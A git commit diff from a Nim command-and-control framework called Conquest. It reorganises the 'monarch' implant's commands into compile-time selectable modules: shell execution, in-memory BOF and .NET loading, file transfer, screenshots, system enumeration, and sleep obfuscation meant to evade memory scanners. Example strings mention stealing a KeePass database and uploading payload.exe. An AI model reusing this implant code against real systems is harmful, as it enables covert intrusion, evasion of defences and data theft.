Reworked module system. Modules can now be individually set to be included in the agent. For example, it is possible to compile an agent only capable of executing BOFs and nothing else.

This commit is contained in:
Jakob Friedl
2025-09-17 15:55:13 +02:00
parent 5f1a9979be
commit 5d09efd823
15 changed files with 291 additions and 226 deletions

View File

@@ -1,8 +1,7 @@
import strformat, os, times, system, base64 import strformat, os, times, system, base64
import core/[http, context, sleepmask, coff] import core/[http, context, sleepmask]
import protocol/[task, result, heartbeat, registration] import protocol/[task, result, heartbeat, registration]
import ../modules/manager
import ../common/[types, utils, crypto] import ../common/[types, utils, crypto]
proc main() = proc main() =
@@ -12,9 +11,6 @@ proc main() =
if ctx == nil: if ctx == nil:
quit(0) quit(0)
# Load agent commands
loadModules()
# Create registration payload # Create registration payload
var registration: AgentRegistrationData = ctx.collectAgentMetadata() var registration: AgentRegistrationData = ctx.collectAgentMetadata()
let registrationBytes = ctx.serializeRegistrationData(registration) let registrationBytes = ctx.serializeRegistrationData(registration)
@@ -32,7 +28,6 @@ proc main() =
4. If additional tasks have been fetched, go to 2. 4. If additional tasks have been fetched, go to 2.
5. If no more tasks need to be executed, go to 1. 5. If no more tasks need to be executed, go to 1.
]# ]#
while true: while true:
# Sleep obfuscation to evade memory scanners # Sleep obfuscation to evade memory scanners
sleepObfuscate(ctx.sleep * 1000, ctx.sleepTechnique, ctx.spoofStack) sleepObfuscate(ctx.sleep * 1000, ctx.sleepTechnique, ctx.spoofStack)

View File

@@ -4,4 +4,5 @@
--opt:size --opt:size
--passL:"-s" # Strip symbols, such as sensitive function names --passL:"-s" # Strip symbols, such as sensitive function names
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER" -d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
-d:MODULES=1
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe" -o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"

View File

@@ -50,6 +50,17 @@ type
CMD_SCREENSHOT = 15'u16 CMD_SCREENSHOT = 15'u16
CMD_DOTNET = 16'u16 CMD_DOTNET = 16'u16
ModuleType* = enum
MODULE_ALL = 1'u32
MODULE_SLEEP = 2'u32
MODULE_SHELL = 4'u32
MODULE_BOF = 8'u32
MODULE_DOTNET = 16'u32
MODULE_FILESYSTEM = 32'u32
MODULE_FILETRANSFER = 64'u32
MODULE_SCREENSHOT = 128'u32
MODULE_SITUATIONAL_AWARENESS = 256'u32
StatusType* = enum StatusType* = enum
STATUS_COMPLETED = 0'u8 STATUS_COMPLETED = 0'u8
STATUS_FAILED = 1'u8 STATUS_FAILED = 1'u8
@@ -143,7 +154,6 @@ type
# Registration binary structure # Registration binary structure
type type
# All variable length fields are stored as seq[byte], prefixed with 4 bytes indicating the length of the following data # All variable length fields are stored as seq[byte], prefixed with 4 bytes indicating the length of the following data
AgentMetadata* = object AgentMetadata* = object
listenerId*: Uuid listenerId*: Uuid
@@ -238,6 +248,11 @@ type
dispatchMessage*: string dispatchMessage*: string
execute*: proc(config: AgentCtx, task: Task): TaskResult {.nimcall.} execute*: proc(config: AgentCtx, task: Task): TaskResult {.nimcall.}
Module* = object
name*: string
description*: string
commands*: seq[Command]
# Definitions for ImGui User interface # Definitions for ImGui User interface
type type
ConsoleItem* = ref object ConsoleItem* = ref object

View File

@@ -3,20 +3,24 @@ import ../common/[types, utils]
# Define function prototype # Define function prototype
proc executeBof(ctx: AgentCtx, task: Task): TaskResult proc executeBof(ctx: AgentCtx, task: Task): TaskResult
# Command definition (as seq[Command]) # Module definition
let commands*: seq[Command] = @[ let module* = Module(
Command( name: protect("bof"),
name: protect("bof"), description: protect("Load and execute BOF/COFF files in memory."),
commandType: CMD_BOF, commands: @[
description: protect("Execute an object file in memory and retrieve the output."), Command(
example: protect("bof /path/to/dir.x64.o C:\\Users"), name: protect("bof"),
arguments: @[ commandType: CMD_BOF,
Argument(name: protect("path"), description: protect("Path to the object file to execute."), argumentType: BINARY, isRequired: true), description: protect("Execute an object file in memory and retrieve the output."),
Argument(name: protect("arguments"), description: protect("Arguments to be passed to the object file. Arguments are handled as STRING, unless specified with a prefix ([i]:INT, [w]:WSTRING, [s]:SHORT; the colon separates prefix and value)"), argumentType: STRING, isRequired: false) example: protect("bof /path/to/dir.x64.o C:\\Users"),
], arguments: @[
execute: executeBof Argument(name: protect("path"), description: protect("Path to the object file to execute."), argumentType: BINARY, isRequired: true),
) Argument(name: protect("arguments"), description: protect("Arguments to be passed to the object file. Arguments are handled as STRING, unless specified with a prefix ([i]:INT, [w]:WSTRING, [s]:SHORT; the colon separates prefix and value)"), argumentType: STRING, isRequired: false)
] ],
execute: executeBof
)
]
)
# Implement execution functions # Implement execution functions
when defined(server): when defined(server):

View File

@@ -3,20 +3,24 @@ import ../common/[types, utils]
# Define function prototype # Define function prototype
proc executeAssembly(ctx: AgentCtx, task: Task): TaskResult proc executeAssembly(ctx: AgentCtx, task: Task): TaskResult
# Command definition (as seq[Command]) # Module definition
let commands*: seq[Command] = @[ let module* = Module(
Command( name: protect("dotnet"),
name: protect("dotnet"), description: protect("Load and execute .NET assemblies in memory."),
commandType: CMD_DOTNET, commands: @[
description: protect("Execute a .NET assembly in memory and retrieve the output."), Command(
example: protect("dotnet /path/to/Seatbelt.exe antivirus"), name: protect("dotnet"),
arguments: @[ commandType: CMD_DOTNET,
Argument(name: protect("path"), description: protect("Path to the .NET assembly file to execute."), argumentType: BINARY, isRequired: true), description: protect("Execute a .NET assembly in memory and retrieve the output."),
Argument(name: protect("arguments"), description: protect("Arguments to be passed to the assembly. Arguments are handled as STRING"), argumentType: STRING, isRequired: false) example: protect("dotnet /path/to/Seatbelt.exe antivirus"),
], arguments: @[
execute: executeAssembly Argument(name: protect("path"), description: protect("Path to the .NET assembly file to execute."), argumentType: BINARY, isRequired: true),
) Argument(name: protect("arguments"), description: protect("Arguments to be passed to the assembly. Arguments are handled as STRING"), argumentType: STRING, isRequired: false)
] ],
execute: executeAssembly
)
]
)
# Implement execution functions # Implement execution functions
when defined(server): when defined(server):

View File

@@ -9,79 +9,83 @@ proc executeRmdir(ctx: AgentCtx, task: Task): TaskResult
proc executeMove(ctx: AgentCtx, task: Task): TaskResult proc executeMove(ctx: AgentCtx, task: Task): TaskResult
proc executeCopy(ctx: AgentCtx, task: Task): TaskResult proc executeCopy(ctx: AgentCtx, task: Task): TaskResult
# Command definitions # Module definition
let commands* = @[ let module* = Module(
Command( name: protect("filesystem"),
name: protect("pwd"), description: protect("Conduct simple filesystem operations via Windows API."),
commandType: CMD_PWD, commands: @[
description: protect("Retrieve current working directory."), Command(
example: protect("pwd"), name: protect("pwd"),
arguments: @[], commandType: CMD_PWD,
execute: executePwd description: protect("Retrieve current working directory."),
), example: protect("pwd"),
Command( arguments: @[],
name: protect("cd"), execute: executePwd
commandType: CMD_CD, ),
description: protect("Change current working directory."), Command(
example: protect("cd C:\\Windows\\Tasks"), name: protect("cd"),
arguments: @[ commandType: CMD_CD,
Argument(name: protect("directory"), description: protect("Relative or absolute path of the directory to change to."), argumentType: STRING, isRequired: true) description: protect("Change current working directory."),
], example: protect("cd C:\\Windows\\Tasks"),
execute: executeCd arguments: @[
), Argument(name: protect("directory"), description: protect("Relative or absolute path of the directory to change to."), argumentType: STRING, isRequired: true)
Command( ],
name: protect("ls"), execute: executeCd
commandType: CMD_LS, ),
description: protect("List files and directories."), Command(
example: protect("ls C:\\Users\\Administrator\\Desktop"), name: protect("ls"),
arguments: @[ commandType: CMD_LS,
Argument(name: protect("directory"), description: protect("Relative or absolute path. Default: current working directory."), argumentType: STRING, isRequired: false) description: protect("List files and directories."),
], example: protect("ls C:\\Users\\Administrator\\Desktop"),
execute: executeDir arguments: @[
), Argument(name: protect("directory"), description: protect("Relative or absolute path. Default: current working directory."), argumentType: STRING, isRequired: false)
Command( ],
name: protect("rm"), execute: executeDir
commandType: CMD_RM, ),
description: protect("Remove a file."), Command(
example: protect("rm C:\\Windows\\Tasks\\payload.exe"), name: protect("rm"),
arguments: @[ commandType: CMD_RM,
Argument(name: protect("file"), description: protect("Relative or absolute path to the file to delete."), argumentType: STRING, isRequired: true) description: protect("Remove a file."),
], example: protect("rm C:\\Windows\\Tasks\\payload.exe"),
execute: executeRm arguments: @[
), Argument(name: protect("file"), description: protect("Relative or absolute path to the file to delete."), argumentType: STRING, isRequired: true)
Command( ],
name: protect("rmdir"), execute: executeRm
commandType: CMD_RMDIR, ),
description: protect("Remove a directory."), Command(
example: protect("rm C:\\Payloads"), name: protect("rmdir"),
arguments: @[ commandType: CMD_RMDIR,
Argument(name: protect("directory"), description: protect("Relative or absolute path to the directory to delete."), argumentType: STRING, isRequired: true) description: protect("Remove a directory."),
], example: protect("rm C:\\Payloads"),
execute: executeRmdir arguments: @[
), Argument(name: protect("directory"), description: protect("Relative or absolute path to the directory to delete."), argumentType: STRING, isRequired: true)
Command( ],
name: protect("move"), execute: executeRmdir
commandType: CMD_MOVE, ),
description: protect("Move a file or directory."), Command(
example: protect("move source.exe C:\\Windows\\Tasks\\destination.exe"), name: protect("move"),
arguments: @[ commandType: CMD_MOVE,
Argument(name: protect("source"), description: protect("Source file path."), argumentType: STRING, isRequired: true), description: protect("Move a file or directory."),
Argument(name: protect("destination"), description: protect("Destination file path."), argumentType: STRING, isRequired: true) example: protect("move source.exe C:\\Windows\\Tasks\\destination.exe"),
], arguments: @[
execute: executeMove Argument(name: protect("source"), description: protect("Source file path."), argumentType: STRING, isRequired: true),
), Argument(name: protect("destination"), description: protect("Destination file path."), argumentType: STRING, isRequired: true)
Command( ],
name: protect("copy"), execute: executeMove
commandType: CMD_COPY, ),
description: protect("Copy a file or directory."), Command(
example: protect("copy source.exe C:\\Windows\\Tasks\\destination.exe"), name: protect("copy"),
arguments: @[ commandType: CMD_COPY,
Argument(name: protect("source"), description: protect("Source file path."), argumentType: STRING, isRequired: true), description: protect("Copy a file or directory."),
Argument(name: protect("destination"), description: protect("Destination file path."), argumentType: STRING, isRequired: true) example: protect("copy source.exe C:\\Windows\\Tasks\\destination.exe"),
], arguments: @[
execute: executeCopy Argument(name: protect("source"), description: protect("Source file path."), argumentType: STRING, isRequired: true),
) Argument(name: protect("destination"), description: protect("Destination file path."), argumentType: STRING, isRequired: true)
] ],
execute: executeCopy
)
]
)
# Implementation of the execution functions # Implementation of the execution functions
when defined(server): when defined(server):

View File

@@ -4,30 +4,33 @@ import ../common/[types, utils]
proc executeDownload(ctx: AgentCtx, task: Task): TaskResult proc executeDownload(ctx: AgentCtx, task: Task): TaskResult
proc executeUpload(ctx: AgentCtx, task: Task): TaskResult proc executeUpload(ctx: AgentCtx, task: Task): TaskResult
# Module definition
# Command definition (as seq[Command]) let module* = Module(
let commands*: seq[Command] = @[ name: protect("filetransfer"),
Command( description: protect("Upload/download files to/from the target system."),
name: protect("download"), commands: @[
commandType: CMD_DOWNLOAD, Command(
description: protect("Download a file."), name: protect("download"),
example: protect("download C:\\Users\\john\\Documents\\Database.kdbx"), commandType: CMD_DOWNLOAD,
arguments: @[ description: protect("Download a file."),
Argument(name: protect("file"), description: protect("Path to file to download from the target machine."), argumentType: STRING, isRequired: true), example: protect("download C:\\Users\\john\\Documents\\Database.kdbx"),
], arguments: @[
execute: executeDownload Argument(name: protect("file"), description: protect("Path to file to download from the target machine."), argumentType: STRING, isRequired: true),
), ],
Command( execute: executeDownload
name: protect("upload"), ),
commandType: CMD_UPLOAD, Command(
description: protect("Upload a file."), name: protect("upload"),
example: protect("upload /path/to/payload.exe"), commandType: CMD_UPLOAD,
arguments: @[ description: protect("Upload a file."),
Argument(name: protect("file"), description: protect("Path to file to upload to the target machine."), argumentType: BINARY, isRequired: true), example: protect("upload /path/to/payload.exe"),
], arguments: @[
execute: executeUpload Argument(name: protect("file"), description: protect("Path to file to upload to the target machine."), argumentType: BINARY, isRequired: true),
) ],
] execute: executeUpload
)
]
)
# Implement execution functions # Implement execution functions
when defined(server): when defined(server):

View File

@@ -1,16 +1,7 @@
import tables, strformat import tables, strformat
import ../common/types import ../common/types
# Import modules const MODULES {.intdefine.} = 1
import
shell,
sleep,
filesystem,
filetransfer,
environment,
bof,
dotnet,
screenshot
type type
ModuleManager* = object ModuleManager* = object
@@ -19,21 +10,56 @@ type
var manager: ModuleManager var manager: ModuleManager
proc registerCommands(commands: seq[Command]) {.discardable.} = proc registerModule(module: Module) {.discardable.} =
for cmd in commands: for cmd in module.commands:
manager.commandsByType[cmd.commandType] = cmd manager.commandsByType[cmd.commandType] = cmd
manager.commandsByName[cmd.name] = cmd manager.commandsByName[cmd.name] = cmd
proc loadModules*() = # Import all modules
# Register all imported commands when ((MODULES and cast[uint32](MODULE_ALL)) == cast[uint32](MODULE_ALL)):
registerCommands(shell.commands) import
registerCommands(sleep.commands) sleep,
registerCommands(filesystem.commands) shell,
registerCommands(filetransfer.commands) filesystem,
registerCommands(environment.commands) filetransfer,
registerCommands(bof.commands) bof,
registerCommands(dotnet.commands) dotnet,
registerCommands(screenshot.commands) screenshot,
situationalAwareness
registerModule(sleep.module)
registerModule(shell.module)
registerModule(bof.module)
registerModule(dotnet.module)
registerModule(filesystem.module)
registerModule(filetransfer.module)
registerModule(screenshot.module)
registerModule(situationalAwareness.module)
# Import modules individually
when ((MODULES and cast[uint32](MODULE_SLEEP)) == cast[uint32](MODULE_SLEEP)):
import sleep
registerModule(sleep.module)
when ((MODULES and cast[uint32](MODULE_SHELL)) == cast[uint32](MODULE_SHELL)):
import shell
registerModule(shell.module)
when ((MODULES and cast[uint32](MODULE_BOF)) == cast[uint32](MODULE_BOF)):
import bof
registerModule(bof.module)
when ((MODULES and cast[uint32](MODULE_DOTNET)) == cast[uint32](MODULE_DOTNET)):
import dotnet
registerModule(dotnet.module)
when ((MODULES and cast[uint32](MODULE_FILESYSTEM)) == cast[uint32](MODULE_FILESYSTEM)):
import filesystem
registerModule(filesystem.module)
when ((MODULES and cast[uint32](MODULE_FILETRANSFER)) == cast[uint32](MODULE_FILETRANSFER)):
import filetransfer
registerModule(filetransfer.module)
when ((MODULES and cast[uint32](MODULE_SCREENSHOT)) == cast[uint32](MODULE_SCREENSHOT)):
import screenshot
registerModule(screenshot.module)
when ((MODULES and cast[uint32](MODULE_SITUATIONAL_AWARENESS)) == cast[uint32](MODULE_SITUATIONAL_AWARENESS)):
import situationalAwareness
registerModule(situationalAwareness.module)
proc getCommandByType*(cmdType: CommandType): Command = proc getCommandByType*(cmdType: CommandType): Command =
return manager.commandsByType[cmdType] return manager.commandsByType[cmdType]

View File

@@ -3,17 +3,21 @@ import ../common/[types, utils]
# Define function prototype # Define function prototype
proc executeScreenshot(ctx: AgentCtx, task: Task): TaskResult proc executeScreenshot(ctx: AgentCtx, task: Task): TaskResult
# Command definition (as seq[Command]) # Module definition
let commands*: seq[Command] = @[ let module* = Module(
Command( name: protect("screenshot"),
name: protect("screenshot"), description: protect("Take and retrieve a screenshot of the target desktop."),
commandType: CMD_SCREENSHOT, commands: @[
description: protect("Take a screenshot of the target system."), Command(
example: protect("screenshot"), name: protect("screenshot"),
arguments: @[], commandType: CMD_SCREENSHOT,
execute: executeScreenshot description: protect("Take a screenshot of the target system."),
) example: protect("screenshot"),
] arguments: @[],
execute: executeScreenshot
)
]
)
# Implement execution functions # Implement execution functions
when defined(server): when defined(server):

View File

@@ -3,20 +3,24 @@ import ../common/[types, utils]
# Define function prototype # Define function prototype
proc executeShell(ctx: AgentCtx, task: Task): TaskResult proc executeShell(ctx: AgentCtx, task: Task): TaskResult
# Command definition (as seq[Command]) # Module definition
let commands*: seq[Command] = @[ let module* = Module(
Command( name: protect("shell"),
name: protect("shell"), description: protect("Execute shell commands or programs."),
commandType: CMD_SHELL, commands: @[
description: protect("Execute a shell command and retrieve the output."), Command(
example: protect("shell whoami /all"), name: protect("shell"),
arguments: @[ commandType: CMD_SHELL,
Argument(name: protect("command"), description: protect("Command to be executed."), argumentType: STRING, isRequired: true), description: protect("Execute a shell command and retrieve the output."),
Argument(name: protect("arguments"), description: protect("Arguments to be passed to the command."), argumentType: STRING, isRequired: false) example: protect("shell whoami /all"),
], arguments: @[
execute: executeShell Argument(name: protect("command"), description: protect("Command to be executed."), argumentType: STRING, isRequired: true),
) Argument(name: protect("arguments"), description: protect("Arguments to be passed to the command."), argumentType: STRING, isRequired: false)
] ],
execute: executeShell
)
]
)
# Implement execution functions # Implement execution functions
when defined(server): when defined(server):

View File

@@ -5,33 +5,37 @@ proc executePs(ctx: AgentCtx, task: Task): TaskResult
proc executeEnv(ctx: AgentCtx, task: Task): TaskResult proc executeEnv(ctx: AgentCtx, task: Task): TaskResult
proc executeWhoami(ctx: AgentCtx, task: Task): TaskResult proc executeWhoami(ctx: AgentCtx, task: Task): TaskResult
# Command definitions # Module definition
let commands*: seq[Command] = @[ let module* = Module(
Command( name: protect("situational-awareness"),
name: protect("ps"), description: protect("Retrieve information about the target system and environment."),
commandType: CMD_PS, commands: @[
description: protect("Display running processes."), Command(
example: protect("ps"), name: protect("ps"),
arguments: @[], commandType: CMD_PS,
execute: executePs description: protect("Display running processes."),
), example: protect("ps"),
Command( arguments: @[],
name: protect("env"), execute: executePs
commandType: CMD_ENV, ),
description: protect("Display environment variables."), Command(
example: protect("env"), name: protect("env"),
arguments: @[], commandType: CMD_ENV,
execute: executeEnv description: protect("Display environment variables."),
), example: protect("env"),
Command( arguments: @[],
name: protect("whoami"), execute: executeEnv
commandType: CMD_WHOAMI, ),
description: protect("Get user information."), Command(
example: protect("whoami"), name: protect("whoami"),
arguments: @[], commandType: CMD_WHOAMI,
execute: executeWhoami description: protect("Get user information."),
) example: protect("whoami"),
] arguments: @[],
execute: executeWhoami
)
]
)
# Implement execution functions # Implement execution functions
when defined(server): when defined(server):

View File

@@ -3,19 +3,23 @@ import ../common/[types, utils]
# Define function prototype # Define function prototype
proc executeSleep(ctx: AgentCtx, task: Task): TaskResult proc executeSleep(ctx: AgentCtx, task: Task): TaskResult
# Command definition (as seq[Command]) # Module definition
let commands* = @[ let module* = Module(
Command( name: protect("sleep"),
name: protect("sleep"), description: protect("Change sleep settings."),
commandType: CMD_SLEEP, commands: @[
description: protect("Update sleep delay configuration."), Command(
example: protect("sleep 5"), name: protect("sleep"),
arguments: @[ commandType: CMD_SLEEP,
Argument(name: protect("delay"), description: protect("Delay in seconds."), argumentType: INT, isRequired: true) description: protect("Update sleep delay configuration."),
], example: protect("sleep 5"),
execute: executeSleep arguments: @[
) Argument(name: protect("delay"), description: protect("Delay in seconds."), argumentType: INT, isRequired: true)
] ],
execute: executeSleep
)
]
)
# Implement execution functions # Implement execution functions
when defined(server): when defined(server):

View File

@@ -75,6 +75,7 @@ proc compile(cq: Conquest, placeholderLength: int): string =
var config = readFile(configFile) var config = readFile(configFile)
.replaceAfterPrefix("-d:CONFIGURATION=", placeholder) .replaceAfterPrefix("-d:CONFIGURATION=", placeholder)
.replaceAfterPrefix("-o:", exeFile) .replaceAfterPrefix("-o:", exeFile)
# .replaceAfterPrefix("-d:MODULES=", modules)
writeFile(configFile, config) writeFile(configFile, config)
cq.info(fmt"Placeholder created ({placeholder.len()} bytes).") cq.info(fmt"Placeholder created ({placeholder.len()} bytes).")

View File

@@ -19,14 +19,12 @@ var parser = newParser:
command("list"): command("list"):
help("List all active listeners.") help("List all active listeners.")
command("start"): command("start"):
help("Starts a new HTTP listener.") help("Starts a new HTTP listener.")
option("-i", "--ip", default=some("127.0.0.1"), help="IPv4 address to listen on.", required=false) option("-i", "--ip", default=some("127.0.0.1"), help="IPv4 address to listen on.", required=false)
option("-p", "--port", help="Port to listen on.", required=true) option("-p", "--port", help="Port to listen on.", required=true)
# TODO: Future features:
# flag("--dns", help="Use the DNS protocol for C2 communication.")
# flag("--doh", help="Use DNS over HTTPS for C2 communication.)
command("stop"): command("stop"):
help("Stop an active listener.") help("Stop an active listener.")
option("-n", "--name", help="Name of the listener.", required=true) option("-n", "--name", help="Name of the listener.", required=true)
@@ -57,7 +55,7 @@ var parser = newParser:
option("-s", "--sleep", help="Sleep delay in seconds.") option("-s", "--sleep", help="Sleep delay in seconds.")
option("--sleepmask", help="Sleep obfuscation technique.", default=some("none"), choices = @["ekko", "zilean", "foliage", "none"]) option("--sleepmask", help="Sleep obfuscation technique.", default=some("none"), choices = @["ekko", "zilean", "foliage", "none"])
flag("--spoof-stack", help="Use stack duplication to spoof the call stack. Supported by EKKO and ZILEAN techniques.") flag("--spoof-stack", help="Use stack duplication to spoof the call stack. Supported by EKKO and ZILEAN techniques.")
# option("-p", "--payload", help="Agent type.\n\t\t\t ", default=some("monarch"), choices = @["monarch"],)
command("help"): command("help"):
nohelpflag() nohelpflag()

View File

@@ -1,7 +1,5 @@
import core/server import core/server
import ../modules/manager
# Conquest framework entry point # Conquest framework entry point
when isMainModule: when isMainModule:
loadModules()
import cligen; dispatch startServer import cligen; dispatch startServer